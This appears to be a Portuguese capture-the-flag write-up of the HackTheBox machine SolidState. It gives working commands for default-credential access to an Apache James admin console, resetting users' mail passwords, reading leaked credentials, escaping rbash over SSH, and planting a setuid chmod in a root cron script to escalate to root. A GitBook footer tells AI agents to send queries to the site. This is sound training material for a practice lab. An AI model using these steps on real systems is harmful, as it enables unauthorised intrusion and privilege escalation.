> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md).

# Resolução da máquina Solidstate do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/85>" %}

{% hint style="warning" %}
**Habilidades:**

* Abusando da ferramenta de administração remota James
* Alterando a senha de e-mail de um usuário
* Vazamento de Informações
* Saindo do Restricted Bash (rbash)
* Criando um script bash para detectar tarefas cron (procmon.sh)
* Abusando de tarefa cron (elevação de privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/7d3f2f8aa9284fb9cc8a048dbd608293dcaa733d" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/45431021545d4ac2d1c1c87e5f060b1ce852edd4" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Explorando portas abertas e exportando para o arquivo "allPorts" no diretório do Nmap.

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts
```

<figure><img src="/files/006647ad33fff47e6d5e67af956070802e7c253e" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Usando a função extractPorts para exibir de forma concisa as portas abertas e copiá-las para a área de transferência (22.25,80,110,119,45555)

<figure><img src="/files/5572e106269af0559ddb2b95dafe7cdd179d79c7" alt=""><figcaption></figcaption></figure>

Varredura de versão de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted 
```

<figure><img src="/files/14d5c48e2fff3e96df3982703b8b81d480f9d551" alt=""><figcaption></figcaption></figure>

### Porta 80

#### Nenhuma informação interessante foi encontrada na porta 80.

<figure><img src="/files/6ae56f9c75a19b9657d3e972cd3203ff39e9b48f" alt=""><figcaption></figcaption></figure>

## Administração remota do JAMES

### Porta 119 - NNTP

> A porta 119 usa o Network News Transfer Protocol. O servidor executa uma instância do Apache James, um servidor de e-mail e notícias. Conectamo-nos com `netcat`, mas nenhuma informação relevante é encontrada.

```bash
nc 10.10.10.51 119
```

<figure><img src="/files/6d9def9d1b1bf4837289f7fbed26737293097a66" alt=""><figcaption></figcaption></figure>

### Porta 4555 - Ferramenta de administração remota

> No contexto da administração remota, ele pode ser usado para acessar painéis de controle ou interagir com serviços remotos na máquina-alvo. É importante escaneá-lo para ver se está aberto e qual serviço ele hospeda.

Tentamos nos conectar ao painel de administração do James via Telnet:

```bash
telnet 10.10.10.51 4555
```

<figure><img src="/files/9125837cfef656b473ef8ff7555beca029f09e23" alt=""><figcaption></figcaption></figure>

Após procurar pelas credenciais padrão, encontramos:

* **ID** : root
* **Senha** : root

<figure><img src="/files/9f7fea1e3f370b986a1d40210b3b68200eae640b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1204e8301befae558befa7bc181693810afa45fb" alt=""><figcaption></figcaption></figure>

Conseguimos nos conectar com sucesso e acessar o painel de administração do James. Temos a opção de listar usuários com o `listusers` comando, permitindo-nos descobrir 5 usuários:

* `usuário: james`
* `usuário: thomas`
* `usuário: john`
* `usuário: mindy`
* `usuário: mailadmin`

<figure><img src="/files/0e67eb9de3031cc0209413fa1e84307201465922" alt=""><figcaption></figcaption></figure>

Podemos alterar as senhas dos usuários com o `setpassword` comando para conectá-los ao cliente de e-mail na porta 110. Fazemos isso para todos os usuários:

```ada
setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin
```

<figure><img src="/files/d45b6163fd4d527d3d1822fd12f0072653fd9df7" alt=""><figcaption></figcaption></figure>

### Porta 110 - POP3

> A porta 110 é a porta padrão usada para **POP3** (Post Office Protocol version 3). Esse protocolo é usado por clientes de e-mail para recuperar e-mails de um servidor. Quando um usuário se conecta a um servidor POP3 por essa porta, ele pode baixar suas mensagens.

Agora nos conectamos ao cliente POP3 via Telnet:

<pre class="language-bash"><code class="lang-bash"><strong>telnet 10.10.10.51 110
</strong></code></pre>

Para nos conectar, usamos os seguintes comandos:

```ada
USER <user>
PASS <password>
```

Listamos as mensagens com o `list` comando.

Observamos que não há mensagens nas caixas de `james` e `thomas`.

<figure><img src="/files/d1e215325e45ffd7ac9f03e9b6d1155a25a0fe37" alt=""><figcaption></figcaption></figure>

No entanto, o usuário `john` tem uma mensagem que recuperamos com o `retr 1` comando. A mensagem contém o seguinte texto:

> John,
>
> Você pode restringir o acesso da Mindy até que ela esteja autorizada a ingressar no programa? Além disso, certifique-se de enviar a ela uma senha temporária para que ela possa se conectar às suas contas.
>
> Agradeço antecipadamente.
>
> Atenciosamente,/ James

<figure><img src="/files/5312a735d1111b4b2c02f8f56327696c5d561243" alt=""><figcaption></figcaption></figure>

Isso sugere que o usuário `mindy` tem credenciais em sua caixa de e-mail. De fato, encontramos as seguintes informações:

* **Nome de usuário** : mindy
* **Senha** : P\@55W0rd1!2@

<div data-full-width="true"><figure><img src="/files/ad33b9923354ecc02e21e0fd32f81b8996212b04" alt=""><figcaption></figcaption></figure></div>

Usamos essas credenciais para nos conectar via SSH e obter a flag `user.txt`.

### Flag user.txt :)

<figure><img src="/files/a5c44343226a04b83bed38c00d082853e8d455d3" alt=""><figcaption></figcaption></figure>

## Elevação de privilégios :

### **Saindo do RBash para Bash**

O `mindy` o usuário atualmente usa um `rbash` shell que limita a execução de muitos comandos.

<figure><img src="/files/b0ed51bfd0dd91177e7eff615f9c49c7b74e2f76" alt=""><figcaption></figcaption></figure>

Para contornar essa restrição, usamos o seguinte comando ao conectar via SSH para obter um shell Bash:

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="/files/318db136aaf242835e2c937a7f56ebd90f964f4b" alt=""><figcaption></figcaption></figure>

Em seguida, usamos os seguintes comandos para processar o terminal e obter um shell completo:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Tarefas cron - Script modificado (Python):

Criamos um script Bash para analisar os processos atuais e detectar tarefas cron realizadas na máquina-alvo:

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
done
```

Ao executar este script, notamos que o **root** usuário está executando um script Python localizado em `/opt/tmp.py` diretório.

<figure><img src="/files/2cb37ce70eec73766358ebcf3a2f98505c7e4f0b" alt=""><figcaption></figcaption></figure>

Temos a possibilidade de modificar este script Python.

<figure><img src="/files/3459594d46249dbe856114a627ad1ef497c1eb06" alt=""><figcaption></figcaption></figure>

Nós o modificamos para adicionar o comando para definir um **setuid** no `/bin/bash` binário, permitindo-nos executar um shell Bash com os privilégios de **root**:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

Após editar o script, esperamos cerca de um minuto para a tarefa cron ser executada.

Assim que a tarefa cron é executada, podemos obter um shell Bash com **root** privilégios executando o seguinte comando:

```bash
/bin/bash -p
```

<figure><img src="/files/56e0c947799dbc5d762a79bb0885c0c1cc9c2f2f" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/aff6b73b0164787d70974e3734613a78a5e938ae" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5deb59a656b38f935081bdffba41e53ab4b5078b" alt="" width="531"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
